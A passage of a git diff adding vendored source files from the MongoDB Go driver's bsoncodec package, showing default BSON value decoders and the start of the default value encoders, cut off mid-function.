+ Name: "JSONNumberDecodeValue", + Types: []reflect.Type{tJSONNumber}, + Received: reflect.Zero(t), + } + } + + var jsonNum json.Number + var err error + switch vrType := vr.Type(); vrType { + case bsontype.Double: + f64, err := vr.ReadDouble() + if err != nil { + return emptyValue, err + } + jsonNum = json.Number(strconv.FormatFloat(f64, 'f', -1, 64)) + case bsontype.Int32: + i32, err := vr.ReadInt32() + if err != nil { + return emptyValue, err + } + jsonNum = json.Number(strconv.FormatInt(int64(i32), 10)) + case bsontype.Int64: + i64, err := vr.ReadInt64() + if err != nil { + return emptyValue, err + } + jsonNum = json.Number(strconv.FormatInt(i64, 10)) + case bsontype.Null: + err = vr.ReadNull() + case bsontype.Undefined: + err = vr.ReadUndefined() + default: + return emptyValue, fmt.Errorf("cannot decode %v into a json.Number", vrType) + } + if err != nil { + return emptyValue, err + } + + return reflect.ValueOf(jsonNum), nil +} + +// JSONNumberDecodeValue is the ValueDecoderFunc for json.Number. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.NewRegistry] to get a registry with all default +// value decoders registered. +func (dvd DefaultValueDecoders) JSONNumberDecodeValue(dc DecodeContext, vr bsonrw.ValueReader, val reflect.Value) error { + if !val.CanSet() || val.Type() != tJSONNumber { + return ValueDecoderError{Name: "JSONNumberDecodeValue", Types: []reflect.Type{tJSONNumber}, Received: val} + } + + elem, err := dvd.jsonNumberDecodeType(dc, vr, tJSONNumber) + if err != nil { + return err + } + + val.Set(elem) + return nil +} + +func (dvd DefaultValueDecoders) urlDecodeType(_ DecodeContext, vr bsonrw.ValueReader, t reflect.Type) (reflect.Value, error) { + if t != tURL { + return emptyValue, ValueDecoderError{ + Name: "URLDecodeValue", + Types: []reflect.Type{tURL}, + Received: reflect.Zero(t), + } + } + + urlPtr := &url.URL{} + var err error + switch vrType := vr.Type(); vrType { + case bsontype.String: + var str string // Declare str here to avoid shadowing err during the ReadString call. + str, err = vr.ReadString() + if err != nil { + return emptyValue, err + } + + urlPtr, err = url.Parse(str) + case bsontype.Null: + err = vr.ReadNull() + case bsontype.Undefined: + err = vr.ReadUndefined() + default: + return emptyValue, fmt.Errorf("cannot decode %v into a *url.URL", vrType) + } + if err != nil { + return emptyValue, err + } + + return reflect.ValueOf(urlPtr).Elem(), nil +} + +// URLDecodeValue is the ValueDecoderFunc for url.URL. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.NewRegistry] to get a registry with all default +// value decoders registered. +func (dvd DefaultValueDecoders) URLDecodeValue(dc DecodeContext, vr bsonrw.ValueReader, val reflect.Value) error { + if !val.CanSet() || val.Type() != tURL { + return ValueDecoderError{Name: "URLDecodeValue", Types: []reflect.Type{tURL}, Received: val} + } + + elem, err := dvd.urlDecodeType(dc, vr, tURL) + if err != nil { + return err + } + + val.Set(elem) + return nil +} + +// TimeDecodeValue is the ValueDecoderFunc for time.Time. +// +// Deprecated: TimeDecodeValue is not registered by default. Use TimeCodec.DecodeValue instead. +func (dvd DefaultValueDecoders) TimeDecodeValue(_ DecodeContext, vr bsonrw.ValueReader, val reflect.Value) error { + if vr.Type() != bsontype.DateTime { + return fmt.Errorf("cannot decode %v into a time.Time", vr.Type()) + } + + dt, err := vr.ReadDateTime() + if err != nil { + return err + } + + if !val.CanSet() || val.Type() != tTime { + return ValueDecoderError{Name: "TimeDecodeValue", Types: []reflect.Type{tTime}, Received: val} + } + + val.Set(reflect.ValueOf(time.Unix(dt/1000, dt%1000*1000000).UTC())) + return nil +} + +// ByteSliceDecodeValue is the ValueDecoderFunc for []byte. +// +// Deprecated: ByteSliceDecodeValue is not registered by default. Use ByteSliceCodec.DecodeValue instead. +func (dvd DefaultValueDecoders) ByteSliceDecodeValue(_ DecodeContext, vr bsonrw.ValueReader, val reflect.Value) error { + if vr.Type() != bsontype.Binary && vr.Type() != bsontype.Null { + return fmt.Errorf("cannot decode %v into a []byte", vr.Type()) + } + + if !val.CanSet() || val.Type() != tByteSlice { + return ValueDecoderError{Name: "ByteSliceDecodeValue", Types: []reflect.Type{tByteSlice}, Received: val} + } + + if vr.Type() == bsontype.Null { + val.Set(reflect.Zero(val.Type())) + return vr.ReadNull() + } + + data, subtype, err := vr.ReadBinary() + if err != nil { + return err + } + if subtype != 0x00 { + return fmt.Errorf("ByteSliceDecodeValue can only be used to decode subtype 0x00 for %s, got %v", bsontype.Binary, subtype) + } + + val.Set(reflect.ValueOf(data)) + return nil +} + +// MapDecodeValue is the ValueDecoderFunc for map[string]* types. +// +// Deprecated: MapDecodeValue is not registered by default. Use MapCodec.DecodeValue instead. +func (dvd DefaultValueDecoders) MapDecodeValue(dc DecodeContext, vr bsonrw.ValueReader, val reflect.Value) error { + if !val.CanSet() || val.Kind() != reflect.Map || val.Type().Key().Kind() != reflect.String { + return ValueDecoderError{Name: "MapDecodeValue", Kinds: []reflect.Kind{reflect.Map}, Received: val} + } + + switch vr.Type() { + case bsontype.Type(0), bsontype.EmbeddedDocument: + case bsontype.Null: + val.Set(reflect.Zero(val.Type())) + return vr.ReadNull() + default: + return fmt.Errorf("cannot decode %v into a %s", vr.Type(), val.Type()) + } + + dr, err := vr.ReadDocument() + if err != nil { + return err + } + + if val.IsNil() { + val.Set(reflect.MakeMap(val.Type())) + } + + eType := val.Type().Elem() + decoder, err := dc.LookupDecoder(eType) + if err != nil { + return err + } + + if eType == tEmpty { + dc.Ancestor = val.Type() + } + + keyType := val.Type().Key() + for { + key, vr, err := dr.ReadElement() + if errors.Is(err, bsonrw.ErrEOD) { + break + } + if err != nil { + return err + } + + elem := reflect.New(eType).Elem() + + err = decoder.DecodeValue(dc, vr, elem) + if err != nil { + return err + } + + val.SetMapIndex(reflect.ValueOf(key).Convert(keyType), elem) + } + return nil +} + +// ArrayDecodeValue is the ValueDecoderFunc for array types. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.NewRegistry] to get a registry with all default +// value decoders registered. +func (dvd DefaultValueDecoders) ArrayDecodeValue(dc DecodeContext, vr bsonrw.ValueReader, val reflect.Value) error { + if !val.IsValid() || val.Kind() != reflect.Array { + return ValueDecoderError{Name: "ArrayDecodeValue", Kinds: []reflect.Kind{reflect.Array}, Received: val} + } + + switch vrType := vr.Type(); vrType { + case bsontype.Array: + case bsontype.Type(0), bsontype.EmbeddedDocument: + if val.Type().Elem() != tE { + return fmt.Errorf("cannot decode document into %s", val.Type()) + } + case bsontype.Binary: + if val.Type().Elem() != tByte { + return fmt.Errorf("ArrayDecodeValue can only be used to decode binary into a byte array, got %v", vrType) + } + data, subtype, err := vr.ReadBinary() + if err != nil { + return err + } + if subtype != bsontype.BinaryGeneric && subtype != bsontype.BinaryBinaryOld { + return fmt.Errorf("ArrayDecodeValue can only be used to decode subtype 0x00 or 0x02 for %s, got %v", bsontype.Binary, subtype) + } + + if len(data) > val.Len() { + return fmt.Errorf("more elements returned in array than can fit inside %s", val.Type()) + } + + for idx, elem := range data { + val.Index(idx).Set(reflect.ValueOf(elem)) + } + return nil + case bsontype.Null: + val.Set(reflect.Zero(val.Type())) + return vr.ReadNull() + case bsontype.Undefined: + val.Set(reflect.Zero(val.Type())) + return vr.ReadUndefined() + default: + return fmt.Errorf("cannot decode %v into an array", vrType) + } + + var elemsFunc func(DecodeContext, bsonrw.ValueReader, reflect.Value) ([]reflect.Value, error) + switch val.Type().Elem() { + case tE: + elemsFunc = dvd.decodeD + default: + elemsFunc = dvd.decodeDefault + } + + elems, err := elemsFunc(dc, vr, val) + if err != nil { + return err + } + + if len(elems) > val.Len() { + return fmt.Errorf("more elements returned in array than can fit inside %s, got %v elements", val.Type(), len(elems)) + } + + for idx, elem := range elems { + val.Index(idx).Set(elem) + } + + return nil +} + +// SliceDecodeValue is the ValueDecoderFunc for slice types. +// +// Deprecated: SliceDecodeValue is not registered by default. Use SliceCodec.DecodeValue instead. +func (dvd DefaultValueDecoders) SliceDecodeValue(dc DecodeContext, vr bsonrw.ValueReader, val reflect.Value) error { + if !val.CanSet() || val.Kind() != reflect.Slice { + return ValueDecoderError{Name: "SliceDecodeValue", Kinds: []reflect.Kind{reflect.Slice}, Received: val} + } + + switch vr.Type() { + case bsontype.Array: + case bsontype.Null: + val.Set(reflect.Zero(val.Type())) + return vr.ReadNull() + case bsontype.Type(0), bsontype.EmbeddedDocument: + if val.Type().Elem() != tE { + return fmt.Errorf("cannot decode document into %s", val.Type()) + } + default: + return fmt.Errorf("cannot decode %v into a slice", vr.Type()) + } + + var elemsFunc func(DecodeContext, bsonrw.ValueReader, reflect.Value) ([]reflect.Value, error) + switch val.Type().Elem() { + case tE: + dc.Ancestor = val.Type() + elemsFunc = dvd.decodeD + default: + elemsFunc = dvd.decodeDefault + } + + elems, err := elemsFunc(dc, vr, val) + if err != nil { + return err + } + + if val.IsNil() { + val.Set(reflect.MakeSlice(val.Type(), 0, len(elems))) + } + + val.SetLen(0) + val.Set(reflect.Append(val, elems...)) + + return nil +} + +// ValueUnmarshalerDecodeValue is the ValueDecoderFunc for ValueUnmarshaler implementations. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.NewRegistry] to get a registry with all default +// value decoders registered. +func (dvd DefaultValueDecoders) ValueUnmarshalerDecodeValue(_ DecodeContext, vr bsonrw.ValueReader, val reflect.Value) error { + if !val.IsValid() || (!val.Type().Implements(tValueUnmarshaler) && !reflect.PtrTo(val.Type()).Implements(tValueUnmarshaler)) { + return ValueDecoderError{Name: "ValueUnmarshalerDecodeValue", Types: []reflect.Type{tValueUnmarshaler}, Received: val} + } + + // If BSON value is null and the go value is a pointer, then don't call + // UnmarshalBSONValue. Even if the Go pointer is already initialized (i.e., + // non-nil), encountering null in BSON will result in the pointer being + // directly set to nil here. Since the pointer is being replaced with nil, + // there is no opportunity (or reason) for the custom UnmarshalBSONValue logic + // to be called. + if vr.Type() == bsontype.Null && val.Kind() == reflect.Ptr { + val.Set(reflect.Zero(val.Type())) + + return vr.ReadNull() + } + + if val.Kind() == reflect.Ptr && val.IsNil() { + if !val.CanSet() { + return ValueDecoderError{Name: "ValueUnmarshalerDecodeValue", Types: []reflect.Type{tValueUnmarshaler}, Received: val} + } + val.Set(reflect.New(val.Type().Elem())) + } + + if !val.Type().Implements(tValueUnmarshaler) { + if !val.CanAddr() { + return ValueDecoderError{Name: "ValueUnmarshalerDecodeValue", Types: []reflect.Type{tValueUnmarshaler}, Received: val} + } + val = val.Addr() // If the type doesn't implement the interface, a pointer to it must. + } + + t, src, err := bsonrw.Copier{}.CopyValueToBytes(vr) + if err != nil { + return err + } + + m, ok := val.Interface().(ValueUnmarshaler) + if !ok { + // NB: this error should be unreachable due to the above checks + return ValueDecoderError{Name: "ValueUnmarshalerDecodeValue", Types: []reflect.Type{tValueUnmarshaler}, Received: val} + } + return m.UnmarshalBSONValue(t, src) +} + +// UnmarshalerDecodeValue is the ValueDecoderFunc for Unmarshaler implementations. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.NewRegistry] to get a registry with all default +// value decoders registered. +func (dvd DefaultValueDecoders) UnmarshalerDecodeValue(_ DecodeContext, vr bsonrw.ValueReader, val reflect.Value) error { + if !val.IsValid() || (!val.Type().Implements(tUnmarshaler) && !reflect.PtrTo(val.Type()).Implements(tUnmarshaler)) { + return ValueDecoderError{Name: "UnmarshalerDecodeValue", Types: []reflect.Type{tUnmarshaler}, Received: val} + } + + if val.Kind() == reflect.Ptr && val.IsNil() { + if !val.CanSet() { + return ValueDecoderError{Name: "UnmarshalerDecodeValue", Types: []reflect.Type{tUnmarshaler}, Received: val} + } + val.Set(reflect.New(val.Type().Elem())) + } + + _, src, err := bsonrw.Copier{}.CopyValueToBytes(vr) + if err != nil { + return err + } + + // If the target Go value is a pointer and the BSON field value is empty, set the value to the + // zero value of the pointer (nil) and don't call UnmarshalBSON. UnmarshalBSON has no way to + // change the pointer value from within the function (only the value at the pointer address), + // so it can't set the pointer to "nil" itself. Since the most common Go value for an empty BSON + // field value is "nil", we set "nil" here and don't call UnmarshalBSON. This behavior matches + // the behavior of the Go "encoding/json" unmarshaler when the target Go value is a pointer and + // the JSON field value is "null". + if val.Kind() == reflect.Ptr && len(src) == 0 { + val.Set(reflect.Zero(val.Type())) + return nil + } + + if !val.Type().Implements(tUnmarshaler) { + if !val.CanAddr() { + return ValueDecoderError{Name: "UnmarshalerDecodeValue", Types: []reflect.Type{tUnmarshaler}, Received: val} + } + val = val.Addr() // If the type doesn't implement the interface, a pointer to it must. + } + + m, ok := val.Interface().(Unmarshaler) + if !ok { + // NB: this error should be unreachable due to the above checks + return ValueDecoderError{Name: "UnmarshalerDecodeValue", Types: []reflect.Type{tUnmarshaler}, Received: val} + } + return m.UnmarshalBSON(src) +} + +// EmptyInterfaceDecodeValue is the ValueDecoderFunc for interface{}. +// +// Deprecated: EmptyInterfaceDecodeValue is not registered by default. Use EmptyInterfaceCodec.DecodeValue instead. +func (dvd DefaultValueDecoders) EmptyInterfaceDecodeValue(dc DecodeContext, vr bsonrw.ValueReader, val reflect.Value) error { + if !val.CanSet() || val.Type() != tEmpty { + return ValueDecoderError{Name: "EmptyInterfaceDecodeValue", Types: []reflect.Type{tEmpty}, Received: val} + } + + rtype, err := dc.LookupTypeMapEntry(vr.Type()) + if err != nil { + switch vr.Type() { + case bsontype.EmbeddedDocument: + if dc.Ancestor != nil { + rtype = dc.Ancestor + break + } + rtype = tD + case bsontype.Null: + val.Set(reflect.Zero(val.Type())) + return vr.ReadNull() + default: + return err + } + } + + decoder, err := dc.LookupDecoder(rtype) + if err != nil { + return err + } + + elem := reflect.New(rtype).Elem() + err = decoder.DecodeValue(dc, vr, elem) + if err != nil { + return err + } + + val.Set(elem) + return nil +} + +// CoreDocumentDecodeValue is the ValueDecoderFunc for bsoncore.Document. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.NewRegistry] to get a registry with all default +// value decoders registered. +func (DefaultValueDecoders) CoreDocumentDecodeValue(_ DecodeContext, vr bsonrw.ValueReader, val reflect.Value) error { + if !val.CanSet() || val.Type() != tCoreDocument { + return ValueDecoderError{Name: "CoreDocumentDecodeValue", Types: []reflect.Type{tCoreDocument}, Received: val} + } + + if val.IsNil() { + val.Set(reflect.MakeSlice(val.Type(), 0, 0)) + } + + val.SetLen(0) + + cdoc, err := bsonrw.Copier{}.AppendDocumentBytes(val.Interface().(bsoncore.Document), vr) + val.Set(reflect.ValueOf(cdoc)) + return err +} + +func (dvd DefaultValueDecoders) decodeDefault(dc DecodeContext, vr bsonrw.ValueReader, val reflect.Value) ([]reflect.Value, error) { + elems := make([]reflect.Value, 0) + + ar, err := vr.ReadArray() + if err != nil { + return nil, err + } + + eType := val.Type().Elem() + + decoder, err := dc.LookupDecoder(eType) + if err != nil { + return nil, err + } + eTypeDecoder, _ := decoder.(typeDecoder) + + idx := 0 + for { + vr, err := ar.ReadValue() + if errors.Is(err, bsonrw.ErrEOA) { + break + } + if err != nil { + return nil, err + } + + elem, err := decodeTypeOrValueWithInfo(decoder, eTypeDecoder, dc, vr, eType, true) + if err != nil { + return nil, newDecodeError(strconv.Itoa(idx), err) + } + elems = append(elems, elem) + idx++ + } + + return elems, nil +} + +func (dvd DefaultValueDecoders) readCodeWithScope(dc DecodeContext, vr bsonrw.ValueReader) (primitive.CodeWithScope, error) { + var cws primitive.CodeWithScope + + code, dr, err := vr.ReadCodeWithScope() + if err != nil { + return cws, err + } + + scope := reflect.New(tD).Elem() + elems, err := dvd.decodeElemsFromDocumentReader(dc, dr) + if err != nil { + return cws, err + } + + scope.Set(reflect.MakeSlice(tD, 0, len(elems))) + scope.Set(reflect.Append(scope, elems...)) + + cws = primitive.CodeWithScope{ + Code: primitive.JavaScript(code), + Scope: scope.Interface().(primitive.D), + } + return cws, nil +} + +func (dvd DefaultValueDecoders) codeWithScopeDecodeType(dc DecodeContext, vr bsonrw.ValueReader, t reflect.Type) (reflect.Value, error) { + if t != tCodeWithScope { + return emptyValue, ValueDecoderError{ + Name: "CodeWithScopeDecodeValue", + Types: []reflect.Type{tCodeWithScope}, + Received: reflect.Zero(t), + } + } + + var cws primitive.CodeWithScope + var err error + switch vrType := vr.Type(); vrType { + case bsontype.CodeWithScope: + cws, err = dvd.readCodeWithScope(dc, vr) + case bsontype.Null: + err = vr.ReadNull() + case bsontype.Undefined: + err = vr.ReadUndefined() + default: + return emptyValue, fmt.Errorf("cannot decode %v into a primitive.CodeWithScope", vrType) + } + if err != nil { + return emptyValue, err + } + + return reflect.ValueOf(cws), nil +} + +// CodeWithScopeDecodeValue is the ValueDecoderFunc for CodeWithScope. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.NewRegistry] to get a registry with all default +// value decoders registered. +func (dvd DefaultValueDecoders) CodeWithScopeDecodeValue(dc DecodeContext, vr bsonrw.ValueReader, val reflect.Value) error { + if !val.CanSet() || val.Type() != tCodeWithScope { + return ValueDecoderError{Name: "CodeWithScopeDecodeValue", Types: []reflect.Type{tCodeWithScope}, Received: val} + } + + elem, err := dvd.codeWithScopeDecodeType(dc, vr, tCodeWithScope) + if err != nil { + return err + } + + val.Set(elem) + return nil +} + +func (dvd DefaultValueDecoders) decodeD(dc DecodeContext, vr bsonrw.ValueReader, _ reflect.Value) ([]reflect.Value, error) { + switch vr.Type() { + case bsontype.Type(0), bsontype.EmbeddedDocument: + default: + return nil, fmt.Errorf("cannot decode %v into a D", vr.Type()) + } + + dr, err := vr.ReadDocument() + if err != nil { + return nil, err + } + + return dvd.decodeElemsFromDocumentReader(dc, dr) +} + +func (DefaultValueDecoders) decodeElemsFromDocumentReader(dc DecodeContext, dr bsonrw.DocumentReader) ([]reflect.Value, error) { + decoder, err := dc.LookupDecoder(tEmpty) + if err != nil { + return nil, err + } + + elems := make([]reflect.Value, 0) + for { + key, vr, err := dr.ReadElement() + if errors.Is(err, bsonrw.ErrEOD) { + break + } + if err != nil { + return nil, err + } + + val := reflect.New(tEmpty).Elem() + err = decoder.DecodeValue(dc, vr, val) + if err != nil { + return nil, newDecodeError(key, err) + } + + elems = append(elems, reflect.ValueOf(primitive.E{Key: key, Value: val.Interface()})) + } + + return elems, nil +} diff --git a/vendor/go.mongodb.org/mongo-driver/bson/bsoncodec/default_value_encoders.go b/vendor/go.mongodb.org/mongo-driver/bson/bsoncodec/default_value_encoders.go new file mode 100644 index 00000000..4751ae99 --- /dev/null +++ b/vendor/go.mongodb.org/mongo-driver/bson/bsoncodec/default_value_encoders.go @@ -0,0 +1,856 @@ +// Copyright (C) MongoDB, Inc. 2017-present. +// +// Licensed under the Apache License, Version 2.0 (the "License"); you may +// not use this file except in compliance with the License. You may obtain +// a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 + +package bsoncodec + +import ( + "encoding/json" + "errors" + "fmt" + "math" + "net/url" + "reflect" + "sync" + "time" + + "go.mongodb.org/mongo-driver/bson/bsonrw" + "go.mongodb.org/mongo-driver/bson/bsontype" + "go.mongodb.org/mongo-driver/bson/primitive" + "go.mongodb.org/mongo-driver/x/bsonx/bsoncore" +) + +var defaultValueEncoders DefaultValueEncoders + +var bvwPool = bsonrw.NewBSONValueWriterPool() + +var errInvalidValue = errors.New("cannot encode invalid element") + +var sliceWriterPool = sync.Pool{ + New: func() interface{} { + sw := make(bsonrw.SliceWriter, 0) + return &sw + }, +} + +func encodeElement(ec EncodeContext, dw bsonrw.DocumentWriter, e primitive.E) error { + vw, err := dw.WriteDocumentElement(e.Key) + if err != nil { + return err + } + + if e.Value == nil { + return vw.WriteNull() + } + encoder, err := ec.LookupEncoder(reflect.TypeOf(e.Value)) + if err != nil { + return err + } + + err = encoder.EncodeValue(ec, vw, reflect.ValueOf(e.Value)) + if err != nil { + return err + } + return nil +} + +// DefaultValueEncoders is a namespace type for the default ValueEncoders used +// when creating a registry. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.NewRegistry] to get a registry with all default +// value encoders registered. +type DefaultValueEncoders struct{} + +// RegisterDefaultEncoders will register the encoder methods attached to DefaultValueEncoders with +// the provided RegistryBuilder. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.NewRegistry] to get a registry with all default +// value encoders registered. +func (dve DefaultValueEncoders) RegisterDefaultEncoders(rb *RegistryBuilder) { + if rb == nil { + panic(errors.New("argument to RegisterDefaultEncoders must not be nil")) + } + rb. + RegisterTypeEncoder(tByteSlice, defaultByteSliceCodec). + RegisterTypeEncoder(tTime, defaultTimeCodec). + RegisterTypeEncoder(tEmpty, defaultEmptyInterfaceCodec). + RegisterTypeEncoder(tCoreArray, defaultArrayCodec). + RegisterTypeEncoder(tOID, ValueEncoderFunc(dve.ObjectIDEncodeValue)). + RegisterTypeEncoder(tDecimal, ValueEncoderFunc(dve.Decimal128EncodeValue)). + RegisterTypeEncoder(tJSONNumber, ValueEncoderFunc(dve.JSONNumberEncodeValue)). + RegisterTypeEncoder(tURL, ValueEncoderFunc(dve.URLEncodeValue)). + RegisterTypeEncoder(tJavaScript, ValueEncoderFunc(dve.JavaScriptEncodeValue)). + RegisterTypeEncoder(tSymbol, ValueEncoderFunc(dve.SymbolEncodeValue)). + RegisterTypeEncoder(tBinary, ValueEncoderFunc(dve.BinaryEncodeValue)). + RegisterTypeEncoder(tUndefined, ValueEncoderFunc(dve.UndefinedEncodeValue)). + RegisterTypeEncoder(tDateTime, ValueEncoderFunc(dve.DateTimeEncodeValue)). + RegisterTypeEncoder(tNull, ValueEncoderFunc(dve.NullEncodeValue)). + RegisterTypeEncoder(tRegex, ValueEncoderFunc(dve.RegexEncodeValue)). + RegisterTypeEncoder(tDBPointer, ValueEncoderFunc(dve.DBPointerEncodeValue)). + RegisterTypeEncoder(tTimestamp, ValueEncoderFunc(dve.TimestampEncodeValue)). + RegisterTypeEncoder(tMinKey, ValueEncoderFunc(dve.MinKeyEncodeValue)). + RegisterTypeEncoder(tMaxKey, ValueEncoderFunc(dve.MaxKeyEncodeValue)). + RegisterTypeEncoder(tCoreDocument, ValueEncoderFunc(dve.CoreDocumentEncodeValue)). + RegisterTypeEncoder(tCodeWithScope, ValueEncoderFunc(dve.CodeWithScopeEncodeValue)). + RegisterDefaultEncoder(reflect.Bool, ValueEncoderFunc(dve.BooleanEncodeValue)). + RegisterDefaultEncoder(reflect.Int, ValueEncoderFunc(dve.IntEncodeValue)). + RegisterDefaultEncoder(reflect.Int8, ValueEncoderFunc(dve.IntEncodeValue)). + RegisterDefaultEncoder(reflect.Int16, ValueEncoderFunc(dve.IntEncodeValue)). + RegisterDefaultEncoder(reflect.Int32, ValueEncoderFunc(dve.IntEncodeValue)). + RegisterDefaultEncoder(reflect.Int64, ValueEncoderFunc(dve.IntEncodeValue)). + RegisterDefaultEncoder(reflect.Uint, defaultUIntCodec). + RegisterDefaultEncoder(reflect.Uint8, defaultUIntCodec). + RegisterDefaultEncoder(reflect.Uint16, defaultUIntCodec). + RegisterDefaultEncoder(reflect.Uint32, defaultUIntCodec). + RegisterDefaultEncoder(reflect.Uint64, defaultUIntCodec). + RegisterDefaultEncoder(reflect.Float32, ValueEncoderFunc(dve.FloatEncodeValue)). + RegisterDefaultEncoder(reflect.Float64, ValueEncoderFunc(dve.FloatEncodeValue)). + RegisterDefaultEncoder(reflect.Array, ValueEncoderFunc(dve.ArrayEncodeValue)). + RegisterDefaultEncoder(reflect.Map, defaultMapCodec). + RegisterDefaultEncoder(reflect.Slice, defaultSliceCodec). + RegisterDefaultEncoder(reflect.String, defaultStringCodec). + RegisterDefaultEncoder(reflect.Struct, newDefaultStructCodec()). + RegisterDefaultEncoder(reflect.Ptr, NewPointerCodec()). + RegisterHookEncoder(tValueMarshaler, ValueEncoderFunc(dve.ValueMarshalerEncodeValue)). + RegisterHookEncoder(tMarshaler, ValueEncoderFunc(dve.MarshalerEncodeValue)). + RegisterHookEncoder(tProxy, ValueEncoderFunc(dve.ProxyEncodeValue)) +} + +// BooleanEncodeValue is the ValueEncoderFunc for bool types. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.NewRegistry] to get a registry with all default +// value encoders registered. +func (dve DefaultValueEncoders) BooleanEncodeValue(_ EncodeContext, vw bsonrw.ValueWriter, val reflect.Value) error { + if !val.IsValid() || val.Kind() != reflect.Bool { + return ValueEncoderError{Name: "BooleanEncodeValue", Kinds: []reflect.Kind{reflect.Bool}, Received: val} + } + return vw.WriteBoolean(val.Bool()) +} + +func fitsIn32Bits(i int64) bool { + return math.MinInt32 <= i && i <= math.MaxInt32 +} + +// IntEncodeValue is the ValueEncoderFunc for int types. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.NewRegistry] to get a registry with all default +// value encoders registered. +func (dve DefaultValueEncoders) IntEncodeValue(ec EncodeContext, vw bsonrw.ValueWriter, val reflect.Value) error { + switch val.Kind() { + case reflect.Int8, reflect.Int16, reflect.Int32: + return vw.WriteInt32(int32(val.Int())) + case reflect.Int: + i64 := val.Int() + if fitsIn32Bits(i64) { + return vw.WriteInt32(int32(i64)) + } + return vw.WriteInt64(i64) + case reflect.Int64: + i64 := val.Int() + if ec.MinSize && fitsIn32Bits(i64) { + return vw.WriteInt32(int32(i64)) + } + return vw.WriteInt64(i64) + } + + return ValueEncoderError{ + Name: "IntEncodeValue", + Kinds: []reflect.Kind{reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64, reflect.Int}, + Received: val, + } +} + +// UintEncodeValue is the ValueEncoderFunc for uint types. +// +// Deprecated: UintEncodeValue is not registered by default. Use UintCodec.EncodeValue instead. +func (dve DefaultValueEncoders) UintEncodeValue(ec EncodeContext, vw bsonrw.ValueWriter, val reflect.Value) error { + switch val.Kind() { + case reflect.Uint8, reflect.Uint16: + return vw.WriteInt32(int32(val.Uint())) + case reflect.Uint, reflect.Uint32, reflect.Uint64: + u64 := val.Uint() + if ec.MinSize && u64 <= math.MaxInt32 { + return vw.WriteInt32(int32(u64)) + } + if u64 > math.MaxInt64 { + return fmt.Errorf("%d overflows int64", u64) + } + return vw.WriteInt64(int64(u64)) + } + + return ValueEncoderError{ + Name: "UintEncodeValue", + Kinds: []reflect.Kind{reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64, reflect.Uint}, + Received: val, + } +} + +// FloatEncodeValue is the ValueEncoderFunc for float types. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.NewRegistry] to get a registry with all default +// value encoders registered. +func (dve DefaultValueEncoders) FloatEncodeValue(_ EncodeContext, vw bsonrw.ValueWriter, val reflect.Value) error { + switch val.Kind() { + case reflect.Float32, reflect.Float64: + return vw.WriteDouble(val.Float()) + } + + return ValueEncoderError{Name: "FloatEncodeValue", Kinds: []reflect.Kind{reflect.Float32, reflect.Float64}, Received: val} +} + +// StringEncodeValue is the ValueEncoderFunc for string types. +// +// Deprecated: StringEncodeValue is not registered by default. Use StringCodec.EncodeValue instead. +func (dve DefaultValueEncoders) StringEncodeValue(_ EncodeContext, vw bsonrw.ValueWriter, val reflect.Value) error { + if val.Kind() != reflect.String { + return ValueEncoderError{ + Name: "StringEncodeValue", + Kinds: []reflect.Kind{reflect.String}, + Received: val, + } + } + + return vw.WriteString(val.String()) +} + +// ObjectIDEncodeValue is the ValueEncoderFunc for primitive.ObjectID. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.NewRegistry] to get a registry with all default +// value encoders registered. +func (dve DefaultValueEncoders) ObjectIDEncodeValue(_ EncodeContext, vw bsonrw.ValueWriter, val reflect.Value) error { + if !val.IsValid() || val.Type() != tOID { + return ValueEncoderError{Name: "ObjectIDEncodeValue", Types: []reflect.Type{tOID}, Received: val} + } + return vw.WriteObjectID(val.Interface().(primitive.ObjectID)) +} + +// Decimal128EncodeValue is the ValueEncoderFunc for primitive.Decimal128. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.NewRegistry] to get a registry with all default +// value encoders registered. +func (dve DefaultValueEncoders) Decimal128EncodeValue(_ EncodeContext, vw bsonrw.ValueWriter, val reflect.Value) error { + if !val.IsValid() || val.Type() != tDecimal { + return ValueEncoderError{Name: "Decimal128EncodeValue", Types: []reflect.Type{tDecimal}, Received: val} + } + return vw.WriteDecimal128(val.Interface().(primitive.Decimal128)) +} + +// JSONNumberEncodeValue is the ValueEncoderFunc for json.Number. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.NewRegistry] to get a registry with all default +// value encoders registered. +func (dve DefaultValueEncoders) JSONNumberEncodeValue(ec EncodeContext, vw bsonrw.ValueWriter, val reflect.Value) error { + if !val.IsValid() || val.Type() != tJSONNumber { + return ValueEncoderError{Name: "JSONNumberEncodeValue", Types: []reflect.Type{tJSONNumber}, Received: val} + } + jsnum := val.Interface().(json.Number) + + // Attempt int first, then float64 + if i64, err := jsnum.Int64(); err == nil { + return dve.IntEncodeValue(ec, vw, reflect.ValueOf(i64)) + } + + f64, err := jsnum.Float64() + if err != nil { + return err + } + + return dve.FloatEncodeValue(ec, vw, reflect.ValueOf(f64)) +} + +// URLEncodeValue is the ValueEncoderFunc for url.URL. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.NewRegistry] to get a registry with all default +// value encoders registered. +func (dve DefaultValueEncoders) URLEncodeValue(_ EncodeContext, vw bsonrw.ValueWriter, val reflect.Value) error { + if !val.IsValid() || val.Type() != tURL { + return ValueEncoderError{Name: "URLEncodeValue", Types: []reflect.Type{tURL}, Received: val} + } + u := val.Interface().(url.URL) + return vw.WriteString(u.String()) +} + +// TimeEncodeValue is the ValueEncoderFunc for time.TIme. +// +// Deprecated: TimeEncodeValue is not registered by default. Use TimeCodec.EncodeValue instead. +func (dve DefaultValueEncoders) TimeEncodeValue(_ EncodeContext, vw bsonrw.ValueWriter, val reflect.Value) error { + if !val.IsValid() || val.Type() != tTime { + return ValueEncoderError{Name: "TimeEncodeValue", Types: 